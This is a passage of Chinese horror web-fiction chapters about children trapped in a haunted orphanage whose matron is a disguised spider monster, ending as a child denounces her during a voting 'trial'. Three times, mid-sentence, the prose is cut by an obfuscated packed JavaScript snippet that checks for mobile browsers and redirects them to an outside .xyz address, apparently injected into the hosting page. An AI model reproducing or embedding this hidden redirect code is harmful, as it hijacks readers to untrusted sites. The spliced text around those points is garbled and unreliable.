晚餐在一种看似温馨实则紧绷的气氛中结束,碗筷被无声地收走,院长妈妈轻轻敲了敲面前的杯子,脸上挂着那种焊死的、令人不安的慈祥笑容。 “孩子们,为了庆祝心的家人改造完毕,重归我们的大家庭,也为了让我们的心贴得更近,今晚,我们换个方式,来一场‘爱的分享会’吧!” 她的声音柔和,却带着不容拒绝的意味,“我们轮流来说一说,你最爱孤儿院的哪一点。” “但是,”她竖起一根苍白的手指,规则如同冰冷的锁链落下,“不能说别人已经说过的内容哦,我们要学会发现这个家独一无二的美好,对不对?” “既然是游戏,那么……说不出来的孩子,”她喉咙里发出意义不明的咕噜声,像是压抑的笑,“也会有‘小小’的惩罚哦。” 窗外最后一缕阳光仿佛被抽走,餐厅彻底沉入一种非自然的、泛着暖黄光晕的昏暗,阴冷的寒气缠绕着每个孩子的脚踝,向上攀爬。 孩子们被一种无形的秩序引导着,从院长妈妈那一端开始依次发言。 第一个是模范孩子安瑞宁,她向往常一样平淡地说出了重复千百遍的答案:“我最爱孤儿院里和谐的大家。” “对,”院长妈妈微笑着,嘴角裂开的弧度更大,“和谐是最重要的。不和谐的声音……不应该存在。”她的目光若有似无地瞟向常岚和季青。 接着,她环视着孩子们,那些她的所有物,在她爱的巢穴里,不应当有“杂音”。 她轻轻敲击着玻璃杯,空洞的叮当声回响在餐厅,仿佛倒计时一样催促着孩子们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449130|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说下去。 下一个孩子机械地说:“我爱院长妈妈每天给我们准备的香甜牛奶。” 院长妈妈满意地点了点头,“对,妈妈的爱就像牛奶一样纯洁、滋养,流入你们每一个人的身体,成为你们的一部分。” “我爱游戏室里彩色的积木。” “那些积木啊,可以搭建出房子,但要记住,只有妈妈搭建的这个‘家’,才是最坚固,最安全的。”她走到孩子身边,手搭在对方肩上,五指微微收紧,孩子身体几不可查地颤抖了一下。 “我爱大家一起唱歌的时候。” …… 孩子们的发言如同被设定好程序的机器,内容空洞而安全。 每一声“爱”都得到院长妈妈的认可和扭曲的注脚,【整体和谐值】缓慢而坚定地向上爬升。 孩子们脸上的笑容越来越一致,眼神越来越暗淡,仿佛被某种无形之物吸走了内在的一切。 季青表面上不动声色,思绪却飞速转动起来,院长妈妈可以通过这种不容拒绝的游戏,强行提升大家的和谐值,那么之前那种通过制造混乱降低整体和谐值,进而削弱院长妈妈能力的方法就很难有效了。 想要破解这个怪谈,就需要更激进的方式,让这个虚假的和谐之家从根基上坍塌! 孩子们的眼神越来越空洞,脸上的笑容越来越标准化。轮到徐菡远时,她冷静地说:“我爱这个家给予我们的秩序和安全。”语气平淡得像在背诵标准答案。 院长妈妈满意地点头,“秩序和安全是绝对的,你是很乖的孩子呢。” 林屿则憋红了脸,才挤出一句:“我……我爱美味的晚餐!" 确实是前面的孩子没说过的内容,可真心与否…… 话音刚落,院长妈妈脸上的笑容瞬间消失。她以一种非人的速度“滑”到林屿身边,整个餐厅的光线随之暗沉了一瞬。 “爱?”她歪着头,脖颈发出“咔吧”的脆响,“你的爱……不够纯粹。” 院长妈妈挡在林屿身前,将他笼罩在自己的阴影中,阻挡了其他孩子的视线。 尖利如钩的手指猛地撬开林屿的嘴巴,不容反抗地探入!林屿的眼睛因极致的恐惧而瞪大,喉咙里发出粗重的呼吸声。 院长妈妈的手指在他口腔内粗暴地搅动、拉扯,锋利的指甲划过柔软的内壁,鲜血瞬间涌出,顺着他的嘴角和下颌流淌下来,滴落在干净的餐盘上,晕开刺目的红。 “呃……啊……”林屿痛得浑身痉挛,却不敢挣扎,只是拼命仰着头,对着院长妈妈,用力挤出一个比哭还难看的、染血的微笑。 院长妈妈这才缓缓抽出手指,离开林屿的座位,其他的孩子,只能看到林屿乖顺的微笑。 院长妈妈将沾血的手指放在唇边,舌尖轻轻一舔。 “你要记住,爱,是需要证明的。” 不能说前面的孩子说过的内容,接龙又是从资历最老的孩子开始,这简直就是针对季青和常岚这种新来的孩子的恶意规则。 常岚忍不住在心里纠结起来,他一个才来到孤儿院不到两小时的人,还刚吃过这么恐怖的一顿饭,怎么能想到什么最爱的一点啊? 但压力来率先到了季青这里,前面孩子们几乎已经把能说的、表面的“美好”都榨干了。 所有目光都集中在她身上,包括院长妈妈那深不见底的注视。 季青歪着头,笑得天真烂漫,说道: “我最喜欢院长妈妈送的铃铛胸针了!” 看似无关痛痒的回答,却让院长妈妈脸上的笑容瞬间剥落,露出了底下某种绝对非人的、冰冷而狰狞的本质。 空气骤然变得冰冷刺骨,仿佛有无形的视线从四面八方聚集而来,牢牢锁定了季青。 季青依旧保持着纯真的微笑,她扯了扯领口那个被院长妈妈亲手别上,系着淡蓝色丝带的铃铛胸针,接着说: “我担心天天戴着弄脏了,想要摘下来好好保存,但是为什么摘不下来呀,院长妈妈?” 14. 心巢孤儿院(七) 季青的话语如同投入死水中的石子,激起的却不是涟漪,而是无声的惊雷。 “为什么摘不下来呀,院长妈妈?” 清脆的童音在落针可闻的餐厅里回荡,带着一种天真的残忍,精准地刺向院长妈妈那看似无懈可击的“爱”的表象。 一瞬间,空气仿佛凝固了,窗外的夕阳的最后一点微光消失,餐厅被寒意取代。 “我好像……摘不下来了?它就像……就像长在衣服上了一样。妈妈,这是为什么呀?” 仿佛有无形的波动扫过整个餐厅。 看似童真的疑问,瞬间激活了许多孩子潜意识里被忽略或被压抑的感官记忆和疑虑! 那个总是第一个回答的安瑞宁,手指几不可查地动了一下,下意识想去摸自己领口的胸针,另一个孩子不自然地扭了扭脖子,更多孩子的脸上浮现出困惑和隐隐的不安。 是啊,为什么摘不下来? 为什么明明有时候觉得不舒服,却从没想过要摘掉它? 这种“没想过”,本身就是最不正常的! 季青眼前的红色UI闪烁着,随着整体和谐值的迅速下降,院长妈妈的力量也被削弱。 院长妈妈妈妈能感觉到,脚下那由恐惧和服从构筑的基石,因为这一个简单、具体的问题,而发出了细微却危险的碎裂声。 她精心营造的“家”的温馨假象,在这个关于“胸针为何长在身上”的孩童式疑问面前,显得如此苍白和……诡异。 她那焊死在脸上的笑脸突然碎裂。 一条黑色的裂缝从两侧嘴角开始延伸,慈祥平和的假面皲裂开,大片的皮肤像孤儿院的墙皮一样剥落,露出下面黑洞洞的内里。 季青看到了那黑洞中闪烁的数个红色复眼,童谣突然浮现在她的脑海中: 【门外的蜘蛛吃娃娃】 院长妈妈的脖颈摇晃着,喉咙里发出一种像是老旧齿轮卡住的“咯咯”声,她似乎在极力压制着什么。 “傻孩子……”她的声音嘶哑得可怕,仿佛生锈失调的八音盒,“因为这胸针……是妈妈爱的烙印啊。它代表着你们永远是妈妈的孩子,是家庭的一员。” “无论你们在哪里,妈妈都能通过它……感受到你们,保护你们。” 她刻意回避了“标记”这种词汇,但模糊回避的解释,几乎等同于确认。 季青要确认的就是这个,她进入孤儿院就被戴上这个铃铛胸针,而当时,院长室里的和谐之钟,读数下降了! 她当时的和谐值低于平均值,和谐之钟的读数才会下降。 所以,虽然被红色人面蛛叮咬后才能看见和谐值UI,但那其实是影响感知的屏蔽系统,用以保持高和谐值孩子们眼中孤儿院的稳定。 其实从戴上胸针时起,她就被纳入和谐值系统了。 进入就要被戴上,且不能被摘下,这个铃铛胸针就就是从孩子们身上掠夺和谐,给院长妈妈提供力量的东西,她就是要捅破这一点! 季青像是恍然大悟般,露出了一个更加灿烂、甚至带着点感动的表情,用力地点了点头,嘴上却说着: “原来是这样!妈妈的爱一直都在守护着我们啊!那我就不摘了,我要一直戴着,让妈妈永远知道我在哪里,这样妈妈就永远能找到我了!” 她的话语听起来无比真诚,仿佛是院长妈妈“爱之教育”的完美成果。 但听在那些内心刚刚泛起一丝疑虑的孩子耳中,尤其是结合院长妈妈刚才那瞬间的失态,这话语里潜藏的意味,足以让人不寒而栗——无论在哪里……这与其说是保护,不如说是无所遁形的监控,是刻入骨髓的控制。 院长妈妈脸上的皮肤再次抽动了一下,落下更多皮肤,更多的红色复眼暴露在外,向各个方向诡异地转动着,扫视所有孩子。 季青这番“顺杆爬”的表演,让她有种吞了苍蝇般的恶心,却又无法发作。她只能维持着那令人毛骨悚然的笑容,从喉咙深处挤出一个音节:“……嗯。” 【提示:整体和谐值持续下降:50%!】 【警告:检测到多个个体同步异常!系统稳定性受到冲击!】 季青眼前的UI红光大盛,和谐值的明显下跌,让餐厅的气压更低。 她环视四周,那些原本麻木的眼神中,似乎有极少数开始闪烁起微弱的、名为“思考”的火星。这火星虽小,却足以燃起颠覆的火焰。 “看来……今天的分享会让大家有些‘疲惫’了。”院长妈妈的声音失去了所有的柔和,只剩下冰冷的威严,“晚餐结束!所有人,立刻回宿舍休息!今晚,谁也不准离开自己的床铺!” 她没有给常岚发言的机会,游戏的规则在信任制度的崩溃面前,显得如此苍白。 孩子们如同得到特赦,又像是被驱赶的羊群,沉默而迅速地离开餐桌,排着队走向宿舍。 季青和常岚交换了下眼神,都在对方眼中看到了凝重。 动摇信任值的计划比想象中成功,但也意味着更猛烈的风暴即将来临。 深夜的孤儿院宿舍,死寂得如同坟墓,院长妈妈今天还挨个给每个人盖上被子,本是很温馨的动作,可如今她顶着半张破碎的脸,只把一些孩子吓得紧紧闭上了眼睛。 可院长妈妈似乎并不在意,她好像坚信一晚过去,第二天大家又会重新相信自己这个好妈妈,重归和谐。 离开宿舍前,院长妈妈回头,诡异的红色复眼挨个扫过每一个孩子: “明天早上妈妈再来看你们……看看你们是否团结,是否安心地待在‘家’里……” 门缓缓关上,宿舍静得可怕。 孩子们躺在狭窄的单人床上一动不动,季青来的第一晚,和谐值还不算低,床铺还能说的上是柔软舒适。现在随着和谐值的降低和院长妈妈力量的消散,连床铺都变得阴冷单薄,甚至散发着淡淡霉味。 常岚几次偷偷睁开眼瞄向季青,他有太多想要和季青确认的事情了,进来前发的那些帖子到底有哪些被验证了?找到破解这个怪谈的方法了吗?自己的剑搁哪去了? 可不管心里藏不住事的人怎么焦急,他隔壁床铺那个藏得住事的人却呼吸平稳,好像已经酣然入睡。 哪有这样作乱又不管的!不怕被那个怪物报复吗? 果然,熬到天快亮的时候,异变发生了。 首先是一阵极其轻微的、仿佛无数细小足肢爬过地板的“沙沙”声,从走廊尽头传来,由远及近。 “咚!咚!咚!” 沉重的、撞击房门的声音,在宿舍门外响起。那声音并不响亮,却带着一种穿透人心的力量,震得床板都在微微发颤。 有几个床铺传来了压抑的、被捂住嘴的抽气声。 但下一秒,常岚感觉到一股冰冷的呼吸,吹在了自己的耳后!他猛地睁开眼,侧头看去——床边空空如也!但那冰冷的触感却真实存在。 同一时间,季青的床边,她看到一只苍白修长、指甲尖长的手,正从床底的阴影里缓缓伸出,摸索着想要抓住她的脚踝。 季青屏住呼吸,直到那手指即将触碰到她皮肤的瞬间,才翻了个身,发出一声似醒非醒的嘟囔声。那手顿了一下,又缓缓缩回了阴影里。 徘徊在阴影里的怪物,似乎在每个人的床铺附近试探、挑选…… 这是一种精神上的酷刑,旨在磨灭他们刚刚萌芽的独立思考,用恐惧重新铸就忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449131|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚。 其他孩子就没那么幸运了。 远处的一张床铺突然传来短促的惊叫! 常岚立刻掀开被子冲向发出尖叫声的床铺,掌尖凝聚元炁,一手刀劈向床底的阴影—— 也许是身体变小的原因,无论是速度还是力道都比常岚预想中的要弱很多,只慢了这一步,阴影里的怪物就逃开了。 常岚懊恼地坐在地上,直到季青的手轻轻搭在他的肩上,常岚才重新调整好呼吸站起。 只那一瞬,床铺上的孩子就消失了,空余巨量的鲜血染红了整张床,还未干涸的血液顺着床脚流到孩子们脚下。 黎明的第一缕灰白光线透过窗户,冷冷照在床铺中央那系着蓝色丝带的铃铛胸针上。 那个怪物,以这样残酷直白的方式回应季青,如何取下这个胸针。 在所有孩子都默默围在床边时,季青和常岚回过头去,门口正站着院长妈妈,她的脸已经恢复如初。 院长妈妈戴着新的面具上前,表情故作沉痛,脚步却轻快,她搂住孩子们: “这是……门外的蜘蛛来了对不对……我们失去了一位家人……” 早餐的气氛比昨晚更加压抑。 没有人说话,只有碗勺碰撞的轻微声响。 院长妈妈坐在主位,脸上恢复了那完美的、焊死的慈祥笑容,仿佛昨夜那个制造恐怖的存在与她毫无关系。 当最后一口食物被无声地咽下,院长妈妈用餐巾优雅地擦了擦嘴角,然后轻轻敲了敲杯子。 所有孩子立刻放下餐具,挺直脊背,目光聚焦到她身上。 “孩子们,”院长妈妈的声音温和,却带着不容置疑的决断,“经过昨晚,妈妈相信你们更加深刻地理解了‘家’的意义。” “昨晚,门外的蜘蛛混在我们中间,吃掉了一位家人,现在我们要想办法找出这个怪物,避免失去更多的家人……” “所以,为了维护我们这个大家庭的纯粹与安宁,从今天起,我们将增加一项新的……日常活动。” 她顿了顿,眼神缓缓扫过每一张脸,像是在清点自己的藏品,又像是在寻找潜在潜在的不安定因素。 “我们要进行,一场找出怪物的审判。” 一股寒意从每个孩子的脊椎窜上后脑。 “规则很简单。”院长妈妈的声音平静,内容却令人毛骨悚然,“每天早餐后,我们都会坐在这里。每个人,都要说出一个名字——你认为,谁最不像我们的家人。” “谁……是那个混进我们家中的,怪物。” “获得票数最多的那一个……”院长的嘴角勾起一个残酷的弧度,“将由妈妈亲手驱逐……直到我们的家重回安宁!” 常岚的双手在桌下紧握着,他才来这里一天,就感受到了如此可怕的恶意。 这不是简单的游戏,而是赤裸裸的生存竞争,是逼着孩子们提高个人和谐值,并互相猜忌、互相指控、互相背叛! 这个怪物要将孩子们刚刚因胸针的真相而动摇的内心,用更残酷的方式重新捆绑在一起,用恐惧和自保的本能,孤立然后扼杀“不和谐的孩子”。 常岚的心沉了下去,季青作为新人,行为“出格”,无疑是众矢之的。如何避免季青成为被投票选出的那个“祭品”,同时还要寻找破解怪谈的方法? 他扭头望向季青,最容易成为众矢之的的季青,此时却平静地靠在椅背上,微微皱着眉,思索着。 院长妈妈离开座位,走到孩子的身后,轻轻牵起他颤抖的手,在他的耳边微笑着说道: “好孩子,妈妈的好孩子。” “来,指给妈妈看,你觉得,谁是那个混进来的怪物?” 15. 心巢孤儿院(八) 院长妈妈握着那个孩子的手,挨个指过坐在桌边的每一个孩子。 被院长妈妈握着手的孩子,僵硬地抬起头,目光空洞地扫过全场,他那麻木的眼神深处,闪过一丝极细微的、几乎无法捕捉的挣扎。 最终,问询的目光落回到了院长妈妈身上。 他的嘴唇翕动,似乎想如同往常一样,寻找出最安全、最和谐的答案。 院长妈妈没有看他,孩子的指尖像犹疑的钟摆,却像被无形的蛛丝牵引,最终指向了一个意料之中的方向。 “我……”那个孩子声音干涩,失去了往日的平静,带上了一点不易察觉的颤抖,顺从地回答:“我选择……季青。” 季青望着指向自己的手指,耸了耸肩,除了她还能是谁呢,上班的时候她就已经当惯了背锅侠,在怪谈中继续背锅也是意料之中。 那个孩子的头垂得更低,不敢去看季青的表情,而院长妈妈的嘴角,勾起一抹微满意的弧度。 “理由呢?我的孩子。”院长的声音带着鼓励,“要毕竟我们这个和谐的大家庭,要讲究‘秩序’。” 那个沉默了几秒,努力为季青编织着罪名: “季青……她昨天的分享,虽然听起来温暖,但……但可能让大家想太多了。” “想太多……就是不和谐的开始。” 他的理由苍白而牵强,甚至带着一种先射箭再画靶的笨拙,与往日流畅的“标准”截然不同。 院长妈妈并没有在意这破绽百出的异常,她的目光在被她点名发言的孩子身上身上只多停留了一瞬,便很快便移开。 “很好的观察,好孩子,保持你的警惕性,这才是对家的负责。” 院长妈妈拍拍手,示意孩子们继续,接下来,孩子们的发言如同被设定好的程序,一个个名字被机械地吐出。 其中大部分孩子,在极度的恐惧和自保的本能驱使下,都选择了跟随第一个指控,将目标指向了最“显眼”的破坏者——季青。 “我选季青,她问了奇怪的问题……” “我选季青,她看起来……不一样。” “季青……她让妈妈不高兴了。” 理由千篇一律,充斥着被引导的恐惧和对“不同”的排斥,貌似和谐的家庭关系像一张无形的网,正在收紧,要将季青这个“异类”彻底排除。 常岚的心提到了嗓子眼,他紧握着拳头,指甲都掐进身下的椅子。 他飞快地思考着对策,是站出来为季青辩护?他一个新来的孩子开口就维护季青,那无疑是向院长妈妈承认,季青还有“同伙”,下一轮他也会被投出去。甚至可能会导致安瑞宁他们也被牵扯怀疑? 那选择指控另一个目标转移视线? 可在这种氛围下,任何异动都可能引发更糟的后果。 季青本人却异常平静。 她甚至没有去看那些指控她的孩子,只是垂着眼睑,仿佛在倾听一场与己无关的讨论。 只有常岚注意到,她放在桌下的手,指尖正在椅子上画着圈。 原来即使没有纸和笔,季老师也改不掉思考的时候手上闲不下来的毛病啊…… 很快就轮到季青这一伙人了,最先发言的是徐菡远。 这个总是冷静得近乎冷漠的女孩,抬起了头,她的目光扫过季青,又看了看主位上那带着胜利者微笑的院长妈妈,最后,她的嘴唇动了动,吐出一个名字: “林屿。” 这个选择让少数几个孩子露出了诧异的神色,林屿更是猛地抬起头,脸上血色尽失,昨天被撕裂嘴角的疼痛仿佛再次袭来。 “理由?”院长妈妈似乎对这个意外的发展颇感兴趣。 “他数次被关进禁闭室改造,平时表现得也不够乖。”徐菡远的语气依旧平淡,听不出任何情绪,“季青虽然是新来的孩子,但融入得很好,还是林屿这种迟迟不能融入我们的坏孩子更像怪物。” 她的逻辑冷酷而直接,既然院长妈妈铁了心要把“坏孩子”处决,那就推出一个坏孩子让她处决。 坏孩子联盟,首先要保住数次动摇了院长妈妈统治的核心——季青。 这与其说是指控,不如说是一种精准的、基于生存理性的“献祭”: 选择一个已经受过数次被关禁闭、且看起来更容易暴露的目标,来保住季青。 院长妈妈玩味地看着徐菡远,点了点头:“也没错,不能融入我们这个大家庭的孩子,和怪物没有区别呢……” 指控的风向出现了一丝微小的偏离,但季青的名字依旧占据着优势。 很快,轮到了林屿。 他瑟瑟发抖,嘴唇哆嗦着,在院长妈妈那越来越不耐的目光逼视下,他心一横,大声说:“我……我选徐菡远!” 他知道,自己被徐菡远抛弃了,但他反选徐菡远并非是为了报复。 林屿很清楚,想要彻底摆脱院长妈妈恐怖的控制,只能指望坏孩子联盟在这场狩猎中有人能够留下来,再找机会彻底击败真正的怪物。 既然他会被投出去,那么他只要装作和徐菡远立场相反,就会让徐菡远更安全! 压力如同不断上涨的潮水,最终促使他做出了这样的决定。 投票还在进行,院长妈妈似乎很享受这种精神上的凌迟。 她的手指在空中缓缓划动,像指挥家在引导着,又像是在威胁着,催促着这场围猎的完成。 终于,轮到了常岚。 所有人的目光都集中在他身上,包括院长妈妈那深不见底、带着明确警告的注视,作为最新来的孩子,他的选择对自身立场至关重要。 常岚深吸一口气,正准备开口—— 一个平静的,甚至带着一丝奇异解脱感的声音,打断了他。 “我选我自己。” 全场寂静。 说话的是安瑞宁,她不知何时站了起来,身体挺得笔直,目光不再空洞,而是带着一种决绝的清澈,直视着院长妈妈。 “你说什么?”院长妈妈脸上的笑容瞬间冻结,声音里透出难以置信的冰冷。 “我选择我自己,安瑞宁。”她清晰地重复,声音不大,却像惊雷一样炸响在每个人耳边,“我认为,这里最不和谐的人,是我自己。” “理由?”院长的声音几乎是从牙缝里挤出来的,周围的空气开始扭曲,她难以相信这个一直最乖的孩子,居然在这种时候坏她好事。 安瑞宁没有以往的乖顺,她甚至向前走了一小步,先是对季青绽出一个微笑,最后目光扫过所有孩子: “作为这里资历最老、最乖的孩子,今天却要指控其他孩子是怪物……” “是我没能起到带头作用,我让妈妈失望了,我对不起大家……” 安瑞宁闭上眼睛,眼泪悄然划过脸颊。 “我愿意接受惩罚!如果一定要有人处决才能保护大家的话,那么我愿意承认我是那个怪物,我愿意接受妈妈的惩罚,为我们和谐的大家庭作出最大的贡献!” 安瑞宁的话语在孩子们死寂的心中漾开了一圈圈恐惧与愧疚交织的涟漪。 “请大家都改投票给我,拜托了!” 安瑞宁不愿意看到任何一个人的牺牲…… 连那些最麻木的孩子眼中也露出了震惊和茫然。安瑞宁,这个一直以来的“模范”,竟然说出了他们连想都不敢想的话! 这话在寂静的餐厅中回荡,带着一种令人心碎的决绝。然而,回应她的,并非孩子们立刻的附和。 而是更深沉的死寂和……院长妈妈身上传来的、令人牙酸的“咯吱”声。 “你——!”院长妈妈猛地站起,身下的椅子发出刺耳的摩擦声。 她的身体开始不自然地膨胀、扭曲,皮肤下仿佛有东西在蠕动,那张慈祥的脸庞上裂开一道道细密的黑色纹路。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449132|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你在胡说什么?!你明明是最乖的孩子,你只要听妈妈的话就好了!” “我不是胡说,妈妈。”安瑞宁的脸上,露出了一个极其悲伤,却又无比坚定的笑容,“让我成为今晚怪物的食物,就能保护大家……” 这一刻,万籁俱寂。 院长妈妈暴怒的尖啸打破了寂静:“够了!不要胡闹!我们不能失去最守规矩的家人!” 安瑞宁是从未逾矩的孩子,个人和谐值一定很高,过去她也在帮助自己维护秩序,是不可多得的好棋子,不能在这为季青设下的陷阱中抛弃! 她伸出已经变得如同昆虫肢节般扭曲尖锐的手,按住安瑞宁。 “你应该像以前一样,按照妈妈的指示,带领大家走向真正的和谐!” 安瑞宁没有反抗,只是闭上了眼睛,仿佛早已预料到这一刻。 就在孩子们犹豫着要不要改投票的时候,季青猛地站起,大声道:“院长妈妈!根据规则,投票尚未结束!安瑞宁指控了自己,但……” “我们还没有完成投票流程!” 院长的动作僵住了。 她扭曲的身体剧烈地起伏着,眼球死死盯住季青,又扫过下面那些开始混乱的孩子们。 她冷静了下来,如果此刻真的带走安瑞宁强行扭转局势,所谓的“审判规则”将彻底沦为笑话,可能引发更不可控的崩坏。 “……好。”院长妈妈的声音嘶哑,带着一丝被压抑的怒意,“很好……安瑞宁,你‘主动’承认了你的不和谐,但这恰恰是你为了维护我们这个大家庭的和谐做出的牺牲。” 院长妈妈重新坐了下来,摆摆手示意大家重新坐好。 “至于到底要选出哪个孩子,还是让所有的孩子都说完,才公平,是不是?” “你。”院长妈妈漆黑的肢节竟延伸到了桌子的另一头,锋利的爪尖闪着寒光,悬停在常岚的面前,“新来的孩子,你要选择谁?” 常岚深吸一口气,打算把水搅浑: 他“霍”地站起,椅子腿与地面摩擦发出刺耳的声响,瞬间吸引了所有目光,也暂时打断了那无声的精神压迫。 “如果安瑞宁可以选自己,那我也要选自己!” “虽然我是最后来的孩子,但我也想学习安瑞宁,为大家带来和谐!” 虽然安瑞宁要求大家改投票给自己的自我牺牲减轻了孩子们的负罪感,给了他们一个“两全其美”的选项,但院长妈妈明显不想让安瑞宁这个乖孩子真的被选出。 那不如就让他来代替安瑞宁成为这个被献祭的羊羔,至少他还有自保的能力,他再次重申: “请大家改投票给我!” 院长妈妈似乎也是松了一口气,下了这个台阶,将常岚这个麻烦的东西处理掉,也是她可以接受的结果。 她缓慢地收回肢节,挑衅地看向季青: “轮到你了,季青,你要选谁?还是说,你也要投自己吗?” 季青低着头,声音没有了往日的清亮: “院长妈妈才是我们这个家庭的核心呢,大家都听妈妈的……” 诡异的笑容重新回到了院长妈妈脸上,她笑着说:“是啊,妈妈就是妈妈呀,是这个家最重要的人哦,所以,不要忤逆妈妈。” “看来你终于理解这一点了。”她彻底放松下来,语气随意地问道:“那么,乖孩子,你要把自己的选择权交给妈妈吗?” “不。” 季青抬起头来。 “既然院长妈妈是这个家庭的核心,那也就是这个家庭的一份子了,理应参与我们的审判。” 她站起身,瘦小的身影在昏暗灯光下被拉长。手臂缓缓抬起,食指如利剑般刺破压抑的空气,精准无误地指向长桌尽头那扭曲的身影—— “我投票给你,院长妈妈!” “你才是那个寄生在家里、破坏和谐的、最大的怪物!” 16. 心巢孤儿院(九) “你才是那个寄生在家里、破坏和谐的、最大的怪物!” 季青坚定有力的话语,揭示了孩子们内心深处被恐惧压抑的怀疑和不安,宛如南美洲扇动翅膀的那只蝴蝶,最终引起了怀疑的风暴。 众人眼前的红色UI疯狂闪烁: 【警告:个人和谐值剧烈波动】 【警告:整体和谐值剧烈波动】 【警告:感知屏障负荷过高,产生强烈同步异常】 伴随着和谐值的急剧下降,那层虚幻的滤镜出现了破碎,微小的缝隙从孩子们脚下延伸开来,直到互相结成蛛网样的裂痕,爬满整个餐厅。 “咔嚓!” 屋顶的老旧灯罩应声碎裂!玻璃渣如雨点般落下! 与此同时,墙壁上的暖色墙纸应声剥落,露出后面交织的、沾满粘液的红色丝网如同血管般鼓动着,粘连在每一处,以至于连墙壁、砖瓦和桌椅这种器物都仿佛有了生命。 餐厅内冰冷的空气被一股浓烈的、带着尸臭和血腥的恶臭彻底取代。 整个孤儿院在几秒钟内从一个扭曲的爱心之家,变成了一个巨大、肮脏的蜘蛛巢穴。 “咯咯……咯咯咯……” 院长妈妈的喉咙里爆发出非人的的尖啸,它从主位上“站起”——那已经不能称之为站,无数多足的、扭曲的肢节从“院长妈妈”纤细的身体中“破壳而出”,肢节末端扭曲的手掌黏在餐厅的四壁上,撑起了充满恶意的躯体! 温柔的假面彻底剥落,还带着微笑的面皮挂在漆黑的口器旁晃荡。 数只猩红的复眼在昏暗中亮起,如同地狱的灯塔,死死锁定季青。 一股混合着疯狂、怨恨与纯粹恶意的精神冲击,如同海啸,向季青、向在场的每一个孩子,碾压而来! 真正的审判,或许此刻,才以另一种形式,轰然降临。 常岚猛地将季青往身后一拉,自己挡在前面,凝聚元炁重重拍在长桌上,金色的辉光在餐厅中震荡,抵抗着蜘蛛怪的侵袭。 季青强忍着那精神侵蚀带来的眩晕,从他身后站稳,她的脸色苍白如纸,眼神却亮得骇人,仿佛燃尽了最后的理智作为燃料。 她没有退缩,反而迎着那非人的注视,用尽力气,声音嘶哑却清晰地穿透了那可怖的咆哮: “大家看清楚!你们眼前恐怖的一切才是真相!” 她的声音在颤抖,却带着一种不容置疑的力量,试图唤醒孩子们被恐惧深埋,甚至被红茧清洗的记忆。 “看看我们周围!”季青指着那粘稠的巢穴内壁,指尖因用力而发白,“这哪里是家?这是它的巢穴!一个用谎言和遗忘编织的囚笼!一个建立在死亡上的坟冢!” 她的话音刚落,仿佛触动了某个开关,周围的异变开始加剧,红色的丝网如同活物般蠕动,一些被丝网包裹、若隐若现的物体轮廓从墙壁和天花板上凸显出来—— 那是一个个蜷缩的、大小不一的……人形茧壳!那些茧壳像是误入蛛网,被啃噬殆尽又遗弃在网中的昆虫,无声地诉说着曾经的悲剧。 这便是季青进入心巢孤儿院之前率先核实的第一条帖子:【孤儿院没有生还者】 空气中开始弥漫开一股更加清晰、无法掩盖的……焦糊味。 “你们闻到了吗?东西烧焦的味道!很多很多年前,这里发生过一场大火!一场吞噬了一切的大火!” “这个怪物,就是在那一天鸠占鹊巢,杀了真正的院长妈妈,害死了大家!” 第二条帖子:【孤儿院怪谈始于孤儿院毁灭的那天】 “住口!住口!” 怪物发出一声更加尖锐、带着一丝惊惶的嘶鸣,一条漆黑的、边缘锐利的肢节如同毒蝎的尾刺,猛地刺向季青! 常岚反应迅速,抄起旁边一张沉重的实木椅子奋力格挡,为季青争取时间。 木椅瞬间爆碎成无数木屑!常岚被巨大的力量狠狠抛向身后的墙壁,而墙壁上,正游移着巨量蠢蠢欲动的血红丝线! 常岚迅速调整姿态,将手中木椅碎裂的椅子腿狠狠插在墙壁上,借着重力划出一道喷涌出鲜血的伤口! 血雾隐藏了孩子们的身形,季青的喊声却越发清晰。 “这里从来没有真正的熟食!所有的食物都是腐烂的、冰冷的!”季青抓住这短暂的间隙,喊出了关键,“所以它怕火!” “那一晚,真正的院长妈妈和孤儿院的大人们试图用火焰驱赶这个闯进孤儿院肆意屠杀的怪物,可没能成功,反而引起了火灾……” 第三条帖子:【孤儿院怪谈的起源,与那场烧毁孤儿院的大火有关】 “但至少让我们能够确认,它畏惧火焰,畏惧热量,那是能将它杀死的东西!” 这个解释,瞬间让许多被忽略的细节串联起来——为什么饭菜总是令人作呕,为什么厨房永远冰冷,为什么连喝的水都带着一股阴寒! “这就是真相……”季青缓步从浓雾中走出,直面那因被说破弱点而更加狂躁的怪物。 “你根本不是院长妈妈!真正的院长妈妈,还有所有曾经在这里的人……都因为你死在了那晚!!” 